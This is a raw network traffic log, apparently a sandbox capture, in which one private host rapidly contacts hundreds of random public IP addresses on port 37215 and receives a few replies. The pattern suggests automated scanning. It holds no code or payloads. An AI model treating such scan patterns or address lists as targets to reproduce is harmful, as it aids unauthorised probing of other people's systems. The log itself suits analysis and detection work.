Jan 1, 2024 12:51:46.989870071 CET	37751	37215	192.168.2.13	156.192.28.25
Jan 1, 2024 12:51:46.989871979 CET	37751	37215	192.168.2.13	222.76.2.191
Jan 1, 2024 12:51:46.989875078 CET	37751	37215	192.168.2.13	156.209.11.225
Jan 1, 2024 12:51:46.989881039 CET	37751	37215	192.168.2.13	41.223.224.174
Jan 1, 2024 12:51:46.989892960 CET	37751	37215	192.168.2.13	156.104.218.167
Jan 1, 2024 12:51:46.989893913 CET	37751	37215	192.168.2.13	41.181.161.17
Jan 1, 2024 12:51:46.989897013 CET	37751	37215	192.168.2.13	41.98.52.173
Jan 1, 2024 12:51:46.989902020 CET	37751	37215	192.168.2.13	41.65.190.103
Jan 1, 2024 12:51:46.989902020 CET	37751	37215	192.168.2.13	197.121.86.170
Jan 1, 2024 12:51:46.989912987 CET	37751	37215	192.168.2.13	181.205.254.161
Jan 1, 2024 12:51:46.989916086 CET	37751	37215	192.168.2.13	41.12.6.6
Jan 1, 2024 12:51:46.989917040 CET	37751	37215	192.168.2.13	95.39.142.86
Jan 1, 2024 12:51:46.989918947 CET	37751	37215	192.168.2.13	197.176.10.203
Jan 1, 2024 12:51:46.989922047 CET	37751	37215	192.168.2.13	41.27.62.222
Jan 1, 2024 12:51:46.989923000 CET	37751	37215	192.168.2.13	197.110.163.29
Jan 1, 2024 12:51:46.989926100 CET	37751	37215	192.168.2.13	156.98.206.161
Jan 1, 2024 12:51:46.989926100 CET	37751	37215	192.168.2.13	197.16.115.125
Jan 1, 2024 12:51:46.989926100 CET	37751	37215	192.168.2.13	154.75.9.31
Jan 1, 2024 12:51:47.159068108 CET	37215	37751	156.73.113.46	192.168.2.13
Jan 1, 2024 12:51:47.159136057 CET	37751	37215	192.168.2.13	156.73.113.46
Jan 1, 2024 12:51:47.261156082 CET	37215	37751	154.202.17.102	192.168.2.13
Jan 1, 2024 12:51:47.292018890 CET	37215	37751	181.170.244.115	192.168.2.13
Jan 1, 2024 12:51:47.357377052 CET	37215	37751	197.245.177.56	192.168.2.13
Jan 1, 2024 12:51:47.991122007 CET	37751	37215	192.168.2.13	41.16.117.193
Jan 1, 2024 12:51:47.991123915 CET	37751	37215	192.168.2.13	190.223.138.58
Jan 1, 2024 12:51:47.991123915 CET	37751	37215	192.168.2.13	156.11.146.213
Jan 1, 2024 12:51:47.991127968 CET	37751	37215	192.168.2.13	41.73.51.149
Jan 1, 2024 12:51:47.991141081 CET	37751	37215	192.168.2.13	41.97.132.229
Jan 1, 2024 12:51:47.991149902 CET	37751	37215	192.168.2.13	107.96.228.79
Jan 1, 2024 12:51:47.991153955 CET	37751	37215	192.168.2.13	120.234.72.123
Jan 1, 2024 12:51:47.991153955 CET	37751	37215	192.168.2.13	197.166.219.136
Jan 1, 2024 12:51:47.991159916 CET	37751	37215	192.168.2.13	156.180.244.29
Jan 1, 2024 12:51:47.991159916 CET	37751	37215	192.168.2.13	156.16.191.192
Jan 1, 2024 12:51:47.991170883 CET	37751	37215	192.168.2.13	122.251.60.0
Jan 1, 2024 12:51:47.991170883 CET	37751	37215	192.168.2.13	186.225.0.171
Jan 1, 2024 12:51:47.991179943 CET	37751	37215	192.168.2.13	95.191.200.46
Jan 1, 2024 12:51:47.991179943 CET	37751	37215	192.168.2.13	41.16.46.3
Jan 1, 2024 12:51:47.991192102 CET	37751	37215	192.168.2.13	156.211.168.209
Jan 1, 2024 12:51:47.991193056 CET	37751	37215	192.168.2.13	41.172.174.198
Jan 1, 2024 12:51:47.991208076 CET	37751	37215	192.168.2.13	156.79.220.57
Jan 1, 2024 12:51:47.991208076 CET	37751	37215	192.168.2.13	197.67.50.230
Jan 1, 2024 12:51:47.991211891 CET	37751	37215	192.168.2.13	156.109.111.102
Jan 1, 2024 12:51:47.991211891 CET	37751	37215	192.168.2.13	94.14.143.150
Jan 1, 2024 12:51:47.991211891 CET	37751	37215	192.168.2.13	41.70.167.167
Jan 1, 2024 12:51:47.991214991 CET	37751	37215	192.168.2.13	197.241.112.90
Jan 1, 2024 12:51:47.991216898 CET	37751	37215	192.168.2.13	41.25.112.238
Jan 1, 2024 12:51:47.991219044 CET	37751	37215	192.168.2.13	41.149.79.48
Jan 1, 2024 12:51:47.991228104 CET	37751	37215	192.168.2.13	197.140.187.245
Jan 1, 2024 12:51:47.991228104 CET	37751	37215	192.168.2.13	197.252.17.62
Jan 1, 2024 12:51:47.991231918 CET	37751	37215	192.168.2.13	197.52.24.183
Jan 1, 2024 12:51:47.991233110 CET	37751	37215	192.168.2.13	196.14.28.159
Jan 1, 2024 12:51:47.991246939 CET	37751	37215	192.168.2.13	94.37.132.222
Jan 1, 2024 12:51:47.991247892 CET	37751	37215	192.168.2.13	156.219.251.62
Jan 1, 2024 12:51:47.991247892 CET	37751	37215	192.168.2.13	156.91.144.24
Jan 1, 2024 12:51:47.991251945 CET	37751	37215	192.168.2.13	41.113.53.84
Jan 1, 2024 12:51:47.991252899 CET	37751	37215	192.168.2.13	95.195.246.17
Jan 1, 2024 12:51:47.991252899 CET	37751	37215	192.168.2.13	92.121.79.51
Jan 1, 2024 12:51:47.991270065 CET	37751	37215	192.168.2.13	197.11.78.240
Jan 1, 2024 12:51:47.991271019 CET	37751	37215	192.168.2.13	41.115.132.214
Jan 1, 2024 12:51:47.991276026 CET	37751	37215	192.168.2.13	156.24.200.12
Jan 1, 2024 12:51:47.991276026 CET	37751	37215	192.168.2.13	156.104.143.149
Jan 1, 2024 12:51:47.991280079 CET	37751	37215	192.168.2.13	197.210.154.160
Jan 1, 2024 12:51:47.991281033 CET	37751	37215	192.168.2.13	45.255.81.113
Jan 1, 2024 12:51:47.991296053 CET	37751	37215	192.168.2.13	138.14.246.111
Jan 1, 2024 12:51:47.991297007 CET	37751	37215	192.168.2.13	157.113.6.65
Jan 1, 2024 12:51:47.991300106 CET	37751	37215	192.168.2.13	121.27.183.113
Jan 1, 2024 12:51:47.991302967 CET	37751	37215	192.168.2.13	157.140.204.79
Jan 1, 2024 12:51:47.991317034 CET	37751	37215	192.168.2.13	41.84.103.245
Jan 1, 2024 12:51:47.991317034 CET	37751	37215	192.168.2.13	94.131.148.48
Jan 1, 2024 12:51:47.991319895 CET	37751	37215	192.168.2.13	41.78.128.128
Jan 1, 2024 12:51:47.991319895 CET	37751	37215	192.168.2.13	92.21.99.217
Jan 1, 2024 12:51:47.991322041 CET	37751	37215	192.168.2.13	156.26.141.163
Jan 1, 2024 12:51:47.991322041 CET	37751	37215	192.168.2.13	222.60.30.218
Jan 1, 2024 12:51:47.991322994 CET	37751	37215	192.168.2.13	41.192.93.87
Jan 1, 2024 12:51:47.991333008 CET	37751	37215	192.168.2.13	120.227.193.86
Jan 1, 2024 12:51:47.991336107 CET	37751	37215	192.168.2.13	41.201.72.129
Jan 1, 2024 12:51:47.991344929 CET	37751	37215	192.168.2.13	41.173.113.219
Jan 1, 2024 12:51:47.991345882 CET	37751	37215	192.168.2.13	41.61.214.77
Jan 1, 2024 12:51:47.991345882 CET	37751	37215	192.168.2.13	156.225.104.245
Jan 1, 2024 12:51:47.991359949 CET	37751	37215	192.168.2.13	156.224.102.165
Jan 1, 2024 12:51:47.991368055 CET	37751	37215	192.168.2.13	41.220.110.137
Jan 1, 2024 12:51:47.991369009 CET	37751	37215	192.168.2.13	102.164.108.132
Jan 1, 2024 12:51:47.991373062 CET	37751	37215	192.168.2.13	156.5.52.189
Jan 1, 2024 12:51:47.991373062 CET	37751	37215	192.168.2.13	156.86.25.107
Jan 1, 2024 12:51:47.991380930 CET	37751	37215	192.168.2.13	102.85.223.3
Jan 1, 2024 12:51:47.991389990 CET	37751	37215	192.168.2.13	156.152.126.27
Jan 1, 2024 12:51:47.991398096 CET	37751	37215	192.168.2.13	156.138.31.122
Jan 1, 2024 12:51:47.991400003 CET	37751	37215	192.168.2.13	197.149.178.76
Jan 1, 2024 12:51:47.991400957 CET	37751	37215	192.168.2.13	94.34.116.252
Jan 1, 2024 12:51:47.991400957 CET	37751	37215	192.168.2.13	41.47.87.102
Jan 1, 2024 12:51:47.991403103 CET	37751	37215	192.168.2.13	156.120.239.198
Jan 1, 2024 12:51:47.991408110 CET	37751	37215	192.168.2.13	156.92.172.215
Jan 1, 2024 12:51:47.991408110 CET	37751	37215	192.168.2.13	156.74.227.232
Jan 1, 2024 12:51:47.991411924 CET	37751	37215	192.168.2.13	156.105.254.237
Jan 1, 2024 12:51:47.991420984 CET	37751	37215	192.168.2.13	156.129.118.74
Jan 1, 2024 12:51:47.991425037 CET	37751	37215	192.168.2.13	120.82.188.102
Jan 1, 2024 12:51:47.991441011 CET	37751	37215	192.168.2.13	94.157.242.14
Jan 1, 2024 12:51:47.991444111 CET	37751	37215	192.168.2.13	154.89.188.193
Jan 1, 2024 12:51:47.991445065 CET	37751	37215	192.168.2.13	197.113.72.90
Jan 1, 2024 12:51:47.991446972 CET	37751	37215	192.168.2.13	41.123.71.172
Jan 1, 2024 12:51:47.991446972 CET	37751	37215	192.168.2.13	197.47.166.59
Jan 1, 2024 12:51:47.991453886 CET	37751	37215	192.168.2.13	41.84.226.98
Jan 1, 2024 12:51:47.991455078 CET	37751	37215	192.168.2.13	120.183.15.221
Jan 1, 2024 12:51:47.991466045 CET	37751	37215	192.168.2.13	41.225.197.75
Jan 1, 2024 12:51:47.991466045 CET	37751	37215	192.168.2.13	197.106.231.245
Jan 1, 2024 12:51:47.991468906 CET	37751	37215	192.168.2.13	41.142.223.106
Jan 1, 2024 12:51:47.991482019 CET	37751	37215	192.168.2.13	197.139.235.195
Jan 1, 2024 12:51:47.991487026 CET	37751	37215	192.168.2.13	156.207.207.132
Jan 1, 2024 12:51:47.991489887 CET	37751	37215	192.168.2.13	37.46.182.98
Jan 1, 2024 12:51:47.991489887 CET	37751	37215	192.168.2.13	157.210.168.238
Jan 1, 2024 12:51:47.991497993 CET	37751	37215	192.168.2.13	197.80.221.10
Jan 1, 2024 12:51:47.991501093 CET	37751	37215	192.168.2.13	156.147.135.22
Jan 1, 2024 12:51:47.991501093 CET	37751	37215	192.168.2.13	190.210.161.38
Jan 1, 2024 12:51:47.991507053 CET	37751	37215	192.168.2.13	197.45.220.169
Jan 1, 2024 12:51:47.991523981 CET	37751	37215	192.168.2.13	41.181.202.176
Jan 1, 2024 12:51:47.991528034 CET	37751	37215	192.168.2.13	41.162.231.242
Jan 1, 2024 12:51:47.991528988 CET	37751	37215	192.168.2.13	120.181.212.85
Jan 1, 2024 12:51:47.991528988 CET	37751	37215	192.168.2.13	156.64.59.83
Jan 1, 2024 12:51:47.991528988 CET	37751	37215	192.168.2.13	197.69.198.15
Jan 1, 2024 12:51:47.991533995 CET	37751	37215	192.168.2.13	160.250.83.187
Jan 1, 2024 12:51:47.991534948 CET	37751	37215	192.168.2.13	121.65.24.151
Jan 1, 2024 12:51:47.991535902 CET	37751	37215	192.168.2.13	41.59.99.182
Jan 1, 2024 12:51:47.991535902 CET	37751	37215	192.168.2.13	196.202.226.114
Jan 1, 2024 12:51:47.991544008 CET	37751	37215	192.168.2.13	92.246.233.6
Jan 1, 2024 12:51:47.991549969 CET	37751	37215	192.168.2.13	222.149.144.221
Jan 1, 2024 12:51:47.991549969 CET	37751	37215	192.168.2.13	121.242.80.185
Jan 1, 2024 12:51:47.991549969 CET	37751	37215	192.168.2.13	121.124.142.39
Jan 1, 2024 12:51:47.991550922 CET	37751	37215	192.168.2.13	45.252.140.157
Jan 1, 2024 12:51:47.991553068 CET	37751	37215	192.168.2.13	120.107.75.191
Jan 1, 2024 12:51:47.991564035 CET	37751	37215	192.168.2.13	94.135.191.199
Jan 1, 2024 12:51:47.991564035 CET	37751	37215	192.168.2.13	156.204.30.66
Jan 1, 2024 12:51:47.991564035 CET	37751	37215	192.168.2.13	154.238.194.83
Jan 1, 2024 12:51:47.991566896 CET	37751	37215	192.168.2.13	156.157.113.157
Jan 1, 2024 12:51:47.991570950 CET	37751	37215	192.168.2.13	41.245.228.148
Jan 1, 2024 12:51:47.991571903 CET	37751	37215	192.168.2.13	102.60.122.153
Jan 1, 2024 12:51:47.991575003 CET	37751	37215	192.168.2.13	160.114.57.21
Jan 1, 2024 12:51:47.991576910 CET	37751	37215	192.168.2.13	121.186.161.119
Jan 1, 2024 12:51:47.991578102 CET	37751	37215	192.168.2.13	156.6.229.112
Jan 1, 2024 12:51:47.991583109 CET	37751	37215	192.168.2.13	41.161.197.199
Jan 1, 2024 12:51:47.991583109 CET	37751	37215	192.168.2.13	41.183.69.213
Jan 1, 2024 12:51:47.991595984 CET	37751	37215	192.168.2.13	197.109.42.254
Jan 1, 2024 12:51:47.991595984 CET	37751	37215	192.168.2.13	186.210.39.124
Jan 1, 2024 12:51:47.991610050 CET	37751	37215	192.168.2.13	197.182.228.169
Jan 1, 2024 12:51:47.991611004 CET	37751	37215	192.168.2.13	41.142.151.39
Jan 1, 2024 12:51:47.991615057 CET	37751	37215	192.168.2.13	197.199.49.43
Jan 1, 2024 12:51:47.991616011 CET	37751	37215	192.168.2.13	41.254.104.168
Jan 1, 2024 12:51:47.991621971 CET	37751	37215	192.168.2.13	41.214.10.223
Jan 1, 2024 12:51:47.991633892 CET	37751	37215	192.168.2.13	41.178.99.110
Jan 1, 2024 12:51:47.991638899 CET	37751	37215	192.168.2.13	37.246.60.244
Jan 1, 2024 12:51:47.991638899 CET	37751	37215	192.168.2.13	41.82.12.9
Jan 1, 2024 12:51:47.991640091 CET	37751	37215	192.168.2.13	41.105.138.171
Jan 1, 2024 12:51:47.991638899 CET	37751	37215	192.168.2.13	154.16.5.120
Jan 1, 2024 12:51:47.991638899 CET	37751	37215	192.168.2.13	37.173.99.93
Jan 1, 2024 12:51:47.991643906 CET	37751	37215	192.168.2.13	156.242.54.2
Jan 1, 2024 12:51:47.991643906 CET	37751	37215	192.168.2.13	156.202.10.38
Jan 1, 2024 12:51:47.991647005 CET	37751	37215	192.168.2.13	156.183.75.230
Jan 1, 2024 12:51:47.991652012 CET	37751	37215	192.168.2.13	122.254.195.165
Jan 1, 2024 12:51:47.991652012 CET	37751	37215	192.168.2.13	197.100.43.36
Jan 1, 2024 12:51:47.991653919 CET	37751	37215	192.168.2.13	156.226.199.251
Jan 1, 2024 12:51:47.991657019 CET	37751	37215	192.168.2.13	41.177.137.144
Jan 1, 2024 12:51:47.991660118 CET	37751	37215	192.168.2.13	156.235.98.234
Jan 1, 2024 12:51:47.991662979 CET	37751	37215	192.168.2.13	41.209.217.5
Jan 1, 2024 12:51:47.991664886 CET	37751	37215	192.168.2.13	197.145.89.210
Jan 1, 2024 12:51:47.991667032 CET	37751	37215	192.168.2.13	37.252.162.11
Jan 1, 2024 12:51:47.991669893 CET	37751	37215	192.168.2.13	156.207.189.208
Jan 1, 2024 12:51:47.991677999 CET	37751	37215	192.168.2.13	41.6.23.76
Jan 1, 2024 12:51:47.991686106 CET	37751	37215	192.168.2.13	157.159.96.38
Jan 1, 2024 12:51:47.991692066 CET	37751	37215	192.168.2.13	37.186.122.14
Jan 1, 2024 12:51:47.991698027 CET	37751	37215	192.168.2.13	197.94.236.218
Jan 1, 2024 12:51:47.991703033 CET	37751	37215	192.168.2.13	45.192.16.89
Jan 1, 2024 12:51:47.991709948 CET	37751	37215	192.168.2.13	41.132.189.15
Jan 1, 2024 12:51:47.991718054 CET	37751	37215	192.168.2.13	156.188.206.22
Jan 1, 2024 12:51:47.991720915 CET	37751	37215	192.168.2.13	41.65.65.206
Jan 1, 2024 12:51:47.991728067 CET	37751	37215	192.168.2.13	95.17.122.242
Jan 1, 2024 12:51:47.991735935 CET	37751	37215	192.168.2.13	197.65.253.58
Jan 1, 2024 12:51:47.991735935 CET	37751	37215	192.168.2.13	41.81.111.217
Jan 1, 2024 12:51:47.991738081 CET	37751	37215	192.168.2.13	41.32.213.176
Jan 1, 2024 12:51:47.991738081 CET	37751	37215	192.168.2.13	154.37.22.50
Jan 1, 2024 12:51:47.991753101 CET	37751	37215	192.168.2.13	41.61.39.152
Jan 1, 2024 12:51:47.991753101 CET	37751	37215	192.168.2.13	156.136.86.181
Jan 1, 2024 12:51:47.991754055 CET	37751	37215	192.168.2.13	156.187.118.132
Jan 1, 2024 12:51:47.991765022 CET	37751	37215	192.168.2.13	156.92.185.201
Jan 1, 2024 12:51:47.991772890 CET	37751	37215	192.168.2.13	138.202.216.190
Jan 1, 2024 12:51:47.991785049 CET	37751	37215	192.168.2.13	222.74.17.144
Jan 1, 2024 12:51:47.991790056 CET	37751	37215	192.168.2.13	45.71.168.224
Jan 1, 2024 12:51:47.991790056 CET	37751	37215	192.168.2.13	197.89.225.160
Jan 1, 2024 12:51:47.991792917 CET	37751	37215	192.168.2.13	95.85.225.55
Jan 1, 2024 12:51:47.991794109 CET	37751	37215	192.168.2.13	41.39.44.107
Jan 1, 2024 12:51:47.991799116 CET	37751	37215	192.168.2.13	197.93.244.128
Jan 1, 2024 12:51:47.991803885 CET	37751	37215	192.168.2.13	41.130.107.74
Jan 1, 2024 12:51:47.991807938 CET	37751	37215	192.168.2.13	156.201.34.140
Jan 1, 2024 12:51:47.991808891 CET	37751	37215	192.168.2.13	95.218.8.5
Jan 1, 2024 12:51:47.991808891 CET	37751	37215	192.168.2.13	41.6.241.87
Jan 1, 2024 12:51:47.991808891 CET	37751	37215	192.168.2.13	107.123.49.209
Jan 1, 2024 12:51:47.991811037 CET	37751	37215	192.168.2.13	197.140.245.36
Jan 1, 2024 12:51:47.991825104 CET	37751	37215	192.168.2.13	156.193.239.235
Jan 1, 2024 12:51:47.991828918 CET	37751	37215	192.168.2.13	197.250.205.182
Jan 1, 2024 12:51:47.991837025 CET	37751	37215	192.168.2.13	41.197.61.193
Jan 1, 2024 12:51:47.991837025 CET	37751	37215	192.168.2.13	156.175.247.75
Jan 1, 2024 12:51:47.991837025 CET	37751	37215	192.168.2.13	197.142.150.27
Jan 1, 2024 12:51:47.991844893 CET	37751	37215	192.168.2.13	197.159.238.29
Jan 1, 2024 12:51:47.991848946 CET	37751	37215	192.168.2.13	197.130.192.30
Jan 1, 2024 12:51:47.991848946 CET	37751	37215	192.168.2.13	120.131.153.182
Jan 1, 2024 12:51:47.991864920 CET	37751	37215	192.168.2.13	186.92.126.127
Jan 1, 2024 12:51:47.991868019 CET	37751	37215	192.168.2.13	160.142.155.207
Jan 1, 2024 12:51:47.991869926 CET	37751	37215	192.168.2.13	156.84.78.251
Jan 1, 2024 12:51:47.991878033 CET	37751	37215	192.168.2.13	102.85.129.52
Jan 1, 2024 12:51:47.991883993 CET	37751	37215	192.168.2.13	107.46.110.219
Jan 1, 2024 12:51:47.991889000 CET	37751	37215	192.168.2.13	41.62.182.195
Jan 1, 2024 12:51:47.991889954 CET	37751	37215	192.168.2.13	156.45.202.119
Jan 1, 2024 12:51:47.991893053 CET	37751	37215	192.168.2.13	120.141.90.165
Jan 1, 2024 12:51:47.991893053 CET	37751	37215	192.168.2.13	196.235.94.4
Jan 1, 2024 12:51:47.991900921 CET	37751	37215	192.168.2.13	95.226.122.42
Jan 1, 2024 12:51:47.991918087 CET	37751	37215	192.168.2.13	186.51.156.241
Jan 1, 2024 12:51:47.991918087 CET	37751	37215	192.168.2.13	41.166.138.164
Jan 1, 2024 12:51:47.991918087 CET	37751	37215	192.168.2.13	197.43.1.2
Jan 1, 2024 12:51:47.991921902 CET	37751	37215	192.168.2.13	121.23.45.123
Jan 1, 2024 12:51:47.991921902 CET	37751	37215	192.168.2.13	197.58.179.98
Jan 1, 2024 12:51:47.991923094 CET	37751	37215	192.168.2.13	156.165.126.46
Jan 1, 2024 12:51:47.991924047 CET	37751	37215	192.168.2.13	41.83.193.225
Jan 1, 2024 12:51:47.991923094 CET	37751	37215	192.168.2.13	160.126.135.153
Jan 1, 2024 12:51:47.991924047 CET	37751	37215	192.168.2.13	156.5.235.157
Jan 1, 2024 12:51:47.991929054 CET	37751	37215	192.168.2.13	197.225.154.8
Jan 1, 2024 12:51:47.991939068 CET	37751	37215	192.168.2.13	156.162.197.184
Jan 1, 2024 12:51:47.991939068 CET	37751	37215	192.168.2.13	197.39.45.205
Jan 1, 2024 12:51:47.991945028 CET	37751	37215	192.168.2.13	94.72.39.98
Jan 1, 2024 12:51:47.991945028 CET	37751	37215	192.168.2.13	222.82.141.70
Jan 1, 2024 12:51:47.991947889 CET	37751	37215	192.168.2.13	41.35.222.15
Jan 1, 2024 12:51:47.991950035 CET	37751	37215	192.168.2.13	181.96.64.99
Jan 1, 2024 12:51:47.991952896 CET	37751	37215	192.168.2.13	138.45.243.29
Jan 1, 2024 12:51:47.991954088 CET	37751	37215	192.168.2.13	196.150.28.7
Jan 1, 2024 12:51:47.991972923 CET	37751	37215	192.168.2.13	41.0.96.164
Jan 1, 2024 12:51:47.991976976 CET	37751	37215	192.168.2.13	122.241.222.122
Jan 1, 2024 12:51:47.991976976 CET	37751	37215	192.168.2.13	181.49.44.31
Jan 1, 2024 12:51:47.991980076 CET	37751	37215	192.168.2.13	41.16.206.95
Jan 1, 2024 12:51:47.991980076 CET	37751	37215	192.168.2.13	197.166.107.109
Jan 1, 2024 12:51:47.991992950 CET	37751	37215	192.168.2.13	156.45.112.209
Jan 1, 2024 12:51:47.991992950 CET	37751	37215	192.168.2.13	222.2.228.14
Jan 1, 2024 12:51:47.992002964 CET	37751	37215	192.168.2.13	37.0.204.174
Jan 1, 2024 12:51:47.992002964 CET	37751	37215	192.168.2.13	156.250.30.124
Jan 1, 2024 12:51:47.992002964 CET	37751	37215	192.168.2.13	156.111.236.177
Jan 1, 2024 12:51:47.992002964 CET	37751	37215	192.168.2.13	197.216.58.205
Jan 1, 2024 12:51:47.992018938 CET	37751	37215	192.168.2.13	197.22.254.184
Jan 1, 2024 12:51:47.992018938 CET	37751	37215	192.168.2.13	138.22.225.242
Jan 1, 2024 12:51:47.992019892 CET	37751	37215	192.168.2.13	45.71.108.224
Jan 1, 2024 12:51:47.992026091 CET	37751	37215	192.168.2.13	121.40.255.4
Jan 1, 2024 12:51:47.992031097 CET	37751	37215	192.168.2.13	41.224.106.232
Jan 1, 2024 12:51:47.992043972 CET	37751	37215	192.168.2.13	41.25.247.77
Jan 1, 2024 12:51:47.992044926 CET	37751	37215	192.168.2.13	41.75.223.186
Jan 1, 2024 12:51:47.992055893 CET	37751	37215	192.168.2.13	181.247.138.136
Jan 1, 2024 12:51:47.992055893 CET	37751	37215	192.168.2.13	156.213.58.39
Jan 1, 2024 12:51:47.992064953 CET	37751	37215	192.168.2.13	122.35.141.147
Jan 1, 2024 12:51:47.992064953 CET	37751	37215	192.168.2.13	41.124.136.27
Jan 1, 2024 12:51:47.992064953 CET	37751	37215	192.168.2.13	41.49.134.121
Jan 1, 2024 12:51:47.992074966 CET	37751	37215	192.168.2.13	197.178.31.181
Jan 1, 2024 12:51:47.992083073 CET	37751	37215	192.168.2.13	107.184.12.208
Jan 1, 2024 12:51:47.992085934 CET	37751	37215	192.168.2.13	156.185.69.233
Jan 1, 2024 12:51:47.992086887 CET	37751	37215	192.168.2.13	156.91.11.153
Jan 1, 2024 12:51:47.992090940 CET	37751	37215	192.168.2.13	37.107.124.50
Jan 1, 2024 12:51:47.992105007 CET	37751	37215	192.168.2.13	156.66.71.35
Jan 1, 2024 12:51:47.992109060 CET	37751	37215	192.168.2.13	197.103.75.37
Jan 1, 2024 12:51:47.992110014 CET	37751	37215	192.168.2.13	160.98.124.181
Jan 1, 2024 12:51:47.992115974 CET	37751	37215	192.168.2.13	156.172.142.89
Jan 1, 2024 12:51:47.992121935 CET	37751	37215	192.168.2.13	41.51.84.97
Jan 1, 2024 12:51:47.992121935 CET	37751	37215	192.168.2.13	41.245.251.225
Jan 1, 2024 12:51:47.992136002 CET	37751	37215	192.168.2.13	186.142.160.208
Jan 1, 2024 12:51:47.992140055 CET	37751	37215	192.168.2.13	41.181.173.112
Jan 1, 2024 12:51:47.992140055 CET	37751	37215	192.168.2.13	41.244.7.99
Jan 1, 2024 12:51:47.992140055 CET	37751	37215	192.168.2.13	107.106.251.117
Jan 1, 2024 12:51:47.992140055 CET	37751	37215	192.168.2.13	45.131.47.228
Jan 1, 2024 12:51:47.992144108 CET	37751	37215	192.168.2.13	41.62.23.171
Jan 1, 2024 12:51:47.992144108 CET	37751	37215	192.168.2.13	41.224.255.116
Jan 1, 2024 12:51:47.992156029 CET	37751	37215	192.168.2.13	41.69.8.163
Jan 1, 2024 12:51:47.992156982 CET	37751	37215	192.168.2.13	41.120.121.12
Jan 1, 2024 12:51:47.992166042 CET	37751	37215	192.168.2.13	138.229.80.96
Jan 1, 2024 12:51:47.992166042 CET	37751	37215	192.168.2.13	197.131.160.76
Jan 1, 2024 12:51:47.992168903 CET	37751	37215	192.168.2.13	160.9.160.254
Jan 1, 2024 12:51:47.992172956 CET	37751	37215	192.168.2.13	41.210.112.37
Jan 1, 2024 12:51:47.992177010 CET	37751	37215	192.168.2.13	197.178.208.200
Jan 1, 2024 12:51:47.992177963 CET	37751	37215	192.168.2.13	197.5.35.177
Jan 1, 2024 12:51:47.992187023 CET	37751	37215	192.168.2.13	197.73.114.157
Jan 1, 2024 12:51:47.992192030 CET	37751	37215	192.168.2.13	94.23.147.208
Jan 1, 2024 12:51:47.992192030 CET	37751	37215	192.168.2.13	41.159.46.230
Jan 1, 2024 12:51:47.992196083 CET	37751	37215	192.168.2.13	156.21.188.136
Jan 1, 2024 12:51:47.992196083 CET	37751	37215	192.168.2.13	160.238.144.198
Jan 1, 2024 12:51:47.992204905 CET	37751	37215	192.168.2.13	156.152.235.127
Jan 1, 2024 12:51:47.992212057 CET	37751	37215	192.168.2.13	138.84.0.174
Jan 1, 2024 12:51:47.992212057 CET	37751	37215	192.168.2.13	41.254.185.49
Jan 1, 2024 12:51:47.992217064 CET	37751	37215	192.168.2.13	156.192.87.26
Jan 1, 2024 12:51:47.992224932 CET	37751	37215	192.168.2.13	197.206.37.219
Jan 1, 2024 12:51:47.992230892 CET	37751	37215	192.168.2.13	197.237.118.166
Jan 1, 2024 12:51:47.992230892 CET	37751	37215	192.168.2.13	156.207.175.106
Jan 1, 2024 12:51:47.992230892 CET	37751	37215	192.168.2.13	138.119.164.12
Jan 1, 2024 12:51:47.992239952 CET	37751	37215	192.168.2.13	37.225.137.130
Jan 1, 2024 12:51:47.992245913 CET	37751	37215	192.168.2.13	222.112.148.88
Jan 1, 2024 12:51:47.992250919 CET	37751	37215	192.168.2.13	222.170.255.70
Jan 1, 2024 12:51:47.992254019 CET	37751	37215	192.168.2.13	186.138.146.9
Jan 1, 2024 12:51:47.992264032 CET	37751	37215	192.168.2.13	222.236.135.179
Jan 1, 2024 12:51:47.992264986 CET	37751	37215	192.168.2.13	92.39.8.73
Jan 1, 2024 12:51:47.992273092 CET	37751	37215	192.168.2.13	41.168.95.229
Jan 1, 2024 12:51:47.992278099 CET	37751	37215	192.168.2.13	154.152.239.247
Jan 1, 2024 12:51:47.992283106 CET	37751	37215	192.168.2.13	190.68.85.17
Jan 1, 2024 12:51:47.992285013 CET	37751	37215	192.168.2.13	197.147.67.69
Jan 1, 2024 12:51:47.992289066 CET	37751	37215	192.168.2.13	41.26.22.244
Jan 1, 2024 12:51:47.992300034 CET	37751	37215	192.168.2.13	156.102.138.223
Jan 1, 2024 12:51:47.992301941 CET	37751	37215	192.168.2.13	107.240.185.190
Jan 1, 2024 12:51:47.992307901 CET	37751	37215	192.168.2.13	138.102.8.198
Jan 1, 2024 12:51:47.992307901 CET	37751	37215	192.168.2.13	197.182.186.6
Jan 1, 2024 12:51:47.992316008 CET	37751	37215	192.168.2.13	197.56.212.216
Jan 1, 2024 12:51:47.992316961 CET	37751	37215	192.168.2.13	37.176.209.84
Jan 1, 2024 12:51:47.992321968 CET	37751	37215	192.168.2.13	197.144.20.198
Jan 1, 2024 12:51:47.992327929 CET	37751	37215	192.168.2.13	197.139.168.48
Jan 1, 2024 12:51:47.992331982 CET	37751	37215	192.168.2.13	120.247.186.162
Jan 1, 2024 12:51:47.992331982 CET	37751	37215	192.168.2.13	156.25.21.54
Jan 1, 2024 12:51:47.992341995 CET	37751	37215	192.168.2.13	156.216.39.237
Jan 1, 2024 12:51:47.992351055 CET	37751	37215	192.168.2.13	156.56.117.233
Jan 1, 2024 12:51:47.992353916 CET	37751	37215	192.168.2.13	160.19.199.170
Jan 1, 2024 12:51:47.992357016 CET	37751	37215	192.168.2.13	197.155.192.215
Jan 1, 2024 12:51:47.992362022 CET	37751	37215	192.168.2.13	37.14.222.213
Jan 1, 2024 12:51:47.992376089 CET	37751	37215	192.168.2.13	156.85.152.170
Jan 1, 2024 12:51:47.992378950 CET	37751	37215	192.168.2.13	41.128.143.26
Jan 1, 2024 12:51:47.992379904 CET	37751	37215	192.168.2.13	41.102.221.105
Jan 1, 2024 12:51:47.992379904 CET	37751	37215	192.168.2.13	41.183.48.147
Jan 1, 2024 12:51:47.992382050 CET	37751	37215	192.168.2.13	197.88.216.67
Jan 1, 2024 12:51:47.992384911 CET	37751	37215	192.168.2.13	197.145.131.210
Jan 1, 2024 12:51:47.992384911 CET	37751	37215	192.168.2.13	196.164.123.172
Jan 1, 2024 12:51:47.992396116 CET	37751	37215	192.168.2.13	41.48.20.246
Jan 1, 2024 12:51:47.992403984 CET	37751	37215	192.168.2.13	156.128.175.195
Jan 1, 2024 12:51:47.992405891 CET	37751	37215	192.168.2.13	41.209.50.187
Jan 1, 2024 12:51:47.992405891 CET	37751	37215	192.168.2.13	197.252.156.43
Jan 1, 2024 12:51:47.992418051 CET	37751	37215	192.168.2.13	156.166.190.77
Jan 1, 2024 12:51:47.992429018 CET	37751	37215	192.168.2.13	181.232.208.65
Jan 1, 2024 12:51:47.992430925 CET	37751	37215	192.168.2.13	156.238.33.154
